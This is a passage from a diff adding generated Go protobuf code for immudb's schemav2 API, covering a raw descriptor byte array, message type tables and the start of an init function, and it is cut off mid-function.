0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x64, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x77, 0x72, + 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x08, 0x52, + 0x0b, 0x77, 0x72, 0x69, 0x74, 0x65, 0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x22, 0x25, 0x0a, 0x0d, + 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x14, 0x0a, + 0x05, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x74, 0x6f, + 0x6b, 0x65, 0x6e, 0x22, 0xa6, 0x01, 0x0a, 0x12, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x23, 0x0a, 0x0c, 0x6e, 0x75, + 0x6d, 0x62, 0x65, 0x72, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x01, + 0x48, 0x00, 0x52, 0x0b, 0x6e, 0x75, 0x6d, 0x62, 0x65, 0x72, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, + 0x23, 0x0a, 0x0c, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x5f, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x48, 0x00, 0x52, 0x0b, 0x73, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1f, 0x0a, 0x0a, 0x62, 0x6f, 0x6f, 0x6c, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x48, 0x00, 0x52, 0x09, 0x62, 0x6f, 0x6f, 0x6c, + 0x56, 0x61, 0x6c, 0x75, 0x65, 0x12, 0x1d, 0x0a, 0x09, 0x69, 0x6e, 0x74, 0x5f, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x48, 0x00, 0x52, 0x08, 0x69, 0x6e, 0x74, 0x56, + 0x61, 0x6c, 0x75, 0x65, 0x42, 0x06, 0x0a, 0x04, 0x6b, 0x69, 0x6e, 0x64, 0x22, 0xa9, 0x03, 0x0a, + 0x17, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x5b, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, + 0x0b, 0x32, 0x39, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x50, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, + 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x12, 0x55, 0x0a, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x2e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, + 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, + 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, + 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, + 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, + 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, + 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, + 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0xa3, 0x03, 0x0a, 0x15, 0x43, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x59, 0x0a, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x37, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x2e, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, + 0x6e, 0x74, 0x72, 0x79, 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x4b, 0x65, 0x79, + 0x73, 0x12, 0x53, 0x0a, 0x09, 0x69, 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x18, 0x03, + 0x20, 0x03, 0x28, 0x0b, 0x32, 0x35, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x2e, 0x49, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x52, 0x09, 0x69, 0x6e, 0x64, + 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x1a, 0x63, 0x0a, 0x10, 0x50, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, 0x03, 0x6b, 0x65, + 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, 0x39, 0x0a, 0x05, + 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x50, 0x6f, + 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, 0x6c, 0x75, 0x65, + 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x1a, 0x61, 0x0a, 0x0e, 0x49, + 0x6e, 0x64, 0x65, 0x78, 0x4b, 0x65, 0x79, 0x73, 0x45, 0x6e, 0x74, 0x72, 0x79, 0x12, 0x10, 0x0a, + 0x03, 0x6b, 0x65, 0x79, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x6b, 0x65, 0x79, 0x12, + 0x39, 0x0a, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x23, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x50, 0x6f, 0x73, 0x73, 0x69, 0x62, 0x6c, 0x65, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x56, 0x61, + 0x6c, 0x75, 0x65, 0x52, 0x05, 0x76, 0x61, 0x6c, 0x75, 0x65, 0x3a, 0x02, 0x38, 0x01, 0x22, 0x17, + 0x0a, 0x15, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0x62, 0x0a, 0x16, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, + 0x65, 0x12, 0x48, 0x0a, 0x0b, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, + 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x52, 0x0b, + 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2d, 0x0a, 0x17, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x01, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x6e, 0x61, 0x6d, 0x65, 0x32, 0xbf, 0x06, 0x0a, 0x0b, 0x49, + 0x6d, 0x6d, 0x75, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x12, 0x67, 0x0a, 0x05, 0x4c, 0x6f, + 0x67, 0x69, 0x6e, 0x12, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x73, 0x74, 0x1a, 0x1e, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x4c, 0x6f, 0x67, 0x69, 0x6e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x22, 0x1f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x19, 0x22, 0x14, 0x2f, 0x61, 0x70, 0x69, + 0x2f, 0x76, 0x32, 0x2f, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x2f, 0x6c, 0x6f, 0x67, 0x69, 0x6e, + 0x3a, 0x01, 0x2a, 0x12, 0x82, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, + 0x74, 0x49, 0x6e, 0x73, 0x65, 0x72, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x1b, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, + 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x54, 0x78, 0x22, 0x2b, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x49, + 0x6e, 0x73, 0x65, 0x72, 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x8e, 0x01, 0x0a, 0x0e, 0x44, 0x6f, 0x63, + 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x12, 0x26, 0x2e, 0x69, 0x6d, + 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x53, 0x65, + 0x61, 0x72, 0x63, 0x68, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2b, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x25, 0x22, 0x20, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x64, 0x6f, + 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x2f, 0x64, 0x6f, 0x63, 0x75, 0x6d, 0x65, 0x6e, 0x74, + 0x53, 0x65, 0x61, 0x72, 0x63, 0x68, 0x3a, 0x01, 0x2a, 0x12, 0x95, 0x01, 0x0a, 0x10, 0x43, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x12, 0x28, + 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, + 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, + 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x22, 0x2f, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, + 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, + 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x01, + 0x2a, 0x12, 0x90, 0x01, 0x0a, 0x0e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x4c, 0x69, 0x73, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, 0x27, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, + 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, 0x74, 0x52, 0x65, 0x73, + 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x2d, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x27, 0x22, 0x22, 0x2f, + 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4c, 0x69, 0x73, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x85, 0x01, 0x0a, 0x10, 0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x12, 0x28, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x2e, 0x43, 0x6f, 0x6c, 0x6c, + 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x1a, 0x16, 0x2e, 0x67, 0x6f, 0x6f, 0x67, 0x6c, 0x65, 0x2e, 0x70, 0x72, 0x6f, + 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2e, 0x45, 0x6d, 0x70, 0x74, 0x79, 0x22, 0x2f, 0x82, 0xd3, 0xe4, + 0x93, 0x02, 0x29, 0x22, 0x24, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x76, 0x32, 0x2f, 0x63, 0x6f, 0x6c, + 0x6c, 0x65, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x2f, 0x63, 0x6f, 0x6c, 0x6c, 0x65, 0x63, 0x74, + 0x69, 0x6f, 0x6e, 0x44, 0x65, 0x6c, 0x65, 0x74, 0x65, 0x3a, 0x01, 0x2a, 0x42, 0xb1, 0x01, 0x5a, + 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, + 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, + 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x76, 0x32, 0x92, 0x41, + 0x7f, 0x12, 0x14, 0x0a, 0x12, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, + 0x20, 0x41, 0x50, 0x49, 0x20, 0x76, 0x32, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, +} + +var ( + file_schemav2_proto_rawDescOnce sync.Once + file_schemav2_proto_rawDescData = file_schemav2_proto_rawDesc +) + +func file_schemav2_proto_rawDescGZIP() []byte { + file_schemav2_proto_rawDescOnce.Do(func() { + file_schemav2_proto_rawDescData = protoimpl.X.CompressGZIP(file_schemav2_proto_rawDescData) + }) + return file_schemav2_proto_rawDescData +} + +var file_schemav2_proto_msgTypes = make([]protoimpl.MessageInfo, 16) +var file_schemav2_proto_goTypes = []interface{}{ + (*DocumentInsertRequest)(nil), // 0: immudb.schemav2.DocumentInsertRequest + (*DocumentSearchRequest)(nil), // 1: immudb.schemav2.DocumentSearchRequest + (*DocumentSearchResponse)(nil), // 2: immudb.schemav2.DocumentSearchResponse + (*LoginRequest)(nil), // 3: immudb.schemav2.LoginRequest + (*LoginResponse)(nil), // 4: immudb.schemav2.LoginResponse + (*PossibleIndexValue)(nil), // 5: immudb.schemav2.PossibleIndexValue + (*CollectionCreateRequest)(nil), // 6: immudb.schemav2.CollectionCreateRequest + (*CollectionInformation)(nil), // 7: immudb.schemav2.CollectionInformation + (*CollectionListRequest)(nil), // 8: immudb.schemav2.CollectionListRequest + (*CollectionListResponse)(nil), // 9: immudb.schemav2.CollectionListResponse + (*CollectionDeleteRequest)(nil), // 10: immudb.schemav2.CollectionDeleteRequest + nil, // 11: immudb.schemav2.DocumentSearchRequest.QueryEntry + nil, // 12: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + nil, // 13: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + nil, // 14: immudb.schemav2.CollectionInformation.PrimaryKeysEntry + nil, // 15: immudb.schemav2.CollectionInformation.IndexKeysEntry + (*_struct.Struct)(nil), // 16: google.protobuf.Struct + (*_struct.Value)(nil), // 17: google.protobuf.Value + (*schema.VerifiableTx)(nil), // 18: immudb.schema.VerifiableTx + (*empty.Empty)(nil), // 19: google.protobuf.Empty +} +var file_schemav2_proto_depIdxs = []int32{ + 16, // 0: immudb.schemav2.DocumentInsertRequest.document:type_name -> google.protobuf.Struct + 11, // 1: immudb.schemav2.DocumentSearchRequest.query:type_name -> immudb.schemav2.DocumentSearchRequest.QueryEntry + 16, // 2: immudb.schemav2.DocumentSearchResponse.results:type_name -> google.protobuf.Struct + 12, // 3: immudb.schemav2.CollectionCreateRequest.primaryKeys:type_name -> immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry + 13, // 4: immudb.schemav2.CollectionCreateRequest.indexKeys:type_name -> immudb.schemav2.CollectionCreateRequest.IndexKeysEntry + 14, // 5: immudb.schemav2.CollectionInformation.primaryKeys:type_name -> immudb.schemav2.CollectionInformation.PrimaryKeysEntry + 15, // 6: immudb.schemav2.CollectionInformation.indexKeys:type_name -> immudb.schemav2.CollectionInformation.IndexKeysEntry + 7, // 7: immudb.schemav2.CollectionListResponse.collections:type_name -> immudb.schemav2.CollectionInformation + 17, // 8: immudb.schemav2.DocumentSearchRequest.QueryEntry.value:type_name -> google.protobuf.Value + 5, // 9: immudb.schemav2.CollectionCreateRequest.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 10: immudb.schemav2.CollectionCreateRequest.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 11: immudb.schemav2.CollectionInformation.PrimaryKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 5, // 12: immudb.schemav2.CollectionInformation.IndexKeysEntry.value:type_name -> immudb.schemav2.PossibleIndexValue + 3, // 13: immudb.schemav2.ImmuService.Login:input_type -> immudb.schemav2.LoginRequest + 0, // 14: immudb.schemav2.ImmuService.DocumentInsert:input_type -> immudb.schemav2.DocumentInsertRequest + 1, // 15: immudb.schemav2.ImmuService.DocumentSearch:input_type -> immudb.schemav2.DocumentSearchRequest + 6, // 16: immudb.schemav2.ImmuService.CollectionCreate:input_type -> immudb.schemav2.CollectionCreateRequest + 8, // 17: immudb.schemav2.ImmuService.CollectionList:input_type -> immudb.schemav2.CollectionListRequest + 10, // 18: immudb.schemav2.ImmuService.CollectionDelete:input_type -> immudb.schemav2.CollectionDeleteRequest + 4, // 19: immudb.schemav2.ImmuService.Login:output_type -> immudb.schemav2.LoginResponse + 18, // 20: immudb.schemav2.ImmuService.DocumentInsert:output_type -> immudb.schema.VerifiableTx + 2, // 21: immudb.schemav2.ImmuService.DocumentSearch:output_type -> immudb.schemav2.DocumentSearchResponse + 7, // 22: immudb.schemav2.ImmuService.CollectionCreate:output_type -> immudb.schemav2.CollectionInformation + 9, // 23: immudb.schemav2.ImmuService.CollectionList:output_type -> immudb.schemav2.CollectionListResponse + 19, // 24: immudb.schemav2.ImmuService.CollectionDelete:output_type -> google.protobuf.Empty + 19, // [19:25] is the sub-list for method output_type + 13, // [13:19] is the sub-list for method input_type + 13, // [13:13] is the sub-list for extension type_name + 13, // [13:13] is the sub-list for extension extendee + 0, // [0:13] is the sub-list for field type_name +} + +func init() { file_schemav2_proto_init() } +func file_schemav2_proto_init() { + if File_schemav2_proto != nil { + return + } + if !protoimpl.UnsafeEnabled { + file_schemav2_proto_msgTypes[0].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*DocumentInsertRequest); i { + case 0: + return &v.state + case 1: + 